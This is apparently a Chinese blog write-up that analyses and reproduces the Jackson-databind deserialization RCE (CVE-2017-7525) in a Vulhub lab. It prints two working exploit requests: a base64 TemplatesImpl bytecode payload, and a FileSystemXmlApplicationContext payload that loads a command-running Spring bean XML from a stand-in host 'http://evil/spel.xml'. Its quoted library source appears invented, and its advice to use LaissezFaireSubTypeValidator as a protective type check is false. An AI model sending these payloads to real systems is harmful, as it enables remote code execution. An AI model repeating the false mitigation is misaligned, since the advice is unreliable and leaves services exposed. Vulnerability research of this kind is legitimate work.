CVE-2017-7525源码分析与漏洞复现(Jackson 反序列化)
漏洞概述
漏洞名称:Jackson-databind 反序列化远程代码执行漏洞
CVE 编号:CVE-2017-7525
CVSS 评分:9.8
影响版本:
- Jackson-databind 2.x < 2.6.7.1
- Jackson-databind 2.7.x < 2.7.9.1
- Jackson-databind 2.8.x < 2.8.9
修复版本:≥ 2.6.7.1 / 2.7.9.1 / 2.8.9
漏洞类型:反序列化 → 远程代码执行(RCE)
根本原因:
Jackson-databind 的多态反序列化机制(Polymorphic Deserialization)未严格限制反序列化的类类型,攻击者可通过构造恶意 JSON 数据指定危险类(如TemplatesImpl
或FileSystemXmlApplicationContext
),触发任意代码执行。
漏洞原理与源码分析
漏洞位置:DeserializerCache#_createAndCacheValueDeserializer
// 实际漏洞触发点
protected JsonDeserializer<Object> _createAndCacheValueDeserializer(DeserializationContext ctxt, JavaType type) throws JsonMappingException
{// 关键漏洞点:多态类型解析if (type.isAbstract() || type.isInterface()) {String typeId = parser.getText(); // 获取@class字段值JavaType resolvedType = _resolveAbstractType(ctxt, type, typeId);return _findDeserializer(ctxt, resolvedType);}return _findDeserializer(ctxt, type);
}
漏洞原理深度解析
漏洞核心机制
-
多态类型解析缺陷:
protected JavaType _resolveAbstractType(DeserializationContext ctxt,JavaType baseType, String typeId) {// 漏洞点:直接加载用户指定的类Class<?> cls = ctxt.findClass(typeId); return ctxt.getTypeFactory().constructSpecializedType(baseType, cls); }
- 未校验
typeId
是否在黑名单内
- 未校验
-
黑名单绕过机制:
// 漏洞版本黑名单(2.8.8) static {_denyList.add("org.apache.commons.collections.functors.InvokerTransformer");_denyList.add("org.codehaus.groovy.runtime.ConvertedClosure");// 缺失TemplatesImpl等关键类 }
漏洞复现与利用方式
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8080,确认服务正常运行
1. 基于 TemplatesImpl
的利用(本地字节码执行)
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt
:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes": ["yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="],"transletName": "a.b","outputProperties": {}}]
}
- 验证(创建成功)
2. 基于 FileSystemXmlApplicationContext
的利用(远程XML加载)
利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如http://evil/spel.xml
,内容如下:
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd
"><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg><array><value>touch</value><value>/tmp/prove2.txt</value></array></constructor-arg><property name="any" value="#{ pb.start() }"/></bean>
</beans>
- 本文使用windows开启了一个http服务
python -m http.server 80
然后,发送如下数据包,使Jackson加载bean,触发漏洞:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138{"param": ["org.springframework.context.support.FileSystemXmlApplicationContext","http://evil/spel.xml"]
}
成功执行touch /tmp/prove2.txt
:
影响范围与修复方案
1. 受影响版本
Jackson 分支 | 受影响版本 | 安全版本 |
---|---|---|
2.6.x | < 2.6.7.1 | ≥ 2.6.7.1 |
2.7.x | < 2.7.9.1 | ≥ 2.7.9.1 |
2.8.x | < 2.8.9 | ≥ 2.8.9 |
2. 官方修复方案
- 扩展黑名单:在
jackson-databind
的Blacklist
中添加危险类:// com.fasterxml.jackson.databind.deser.DeserializerCache static { _denyList.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); _denyList.add("org.springframework.context.support.FileSystemXmlApplicationContext"); }
- 升级建议:直接升级到安全版本。
3. 临时缓解措施
- 禁用多态特性:
objectMapper.disableDefaultTyping();
- 启用全局类型校验(Jackson ≥ 2.10):
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, DefaultTyping.OBJECT_AND_NON_CONCRETE);
- 网络层防护:拦截包含
@class
或transletBytecodes
的请求。
参考链接
-
官方漏洞通告 - SUSE 安全公告
-
技术分析报告 - 漏洞原理与利用链详解
-
黑盒检测方法 - Jackson 特征识别技巧
-
Spring EL 利用链 - CVE-2017-17485 绕过分析
漏洞启示:
- 反序列化安全:所有支持多态反序列化的库需采用白名单机制(如 Jackson 3.x 的
PolymorphicTypeValidator
)。- 纵深防御:结合代码补丁、WAF 规则(拦截
@class
字段)和运行时监控(检测Runtime.exec()
调用)。- 开发规范:生产环境避免启用
enableDefaultTyping()
,必要时使用@JsonTypeInfo
显式指定合法子类。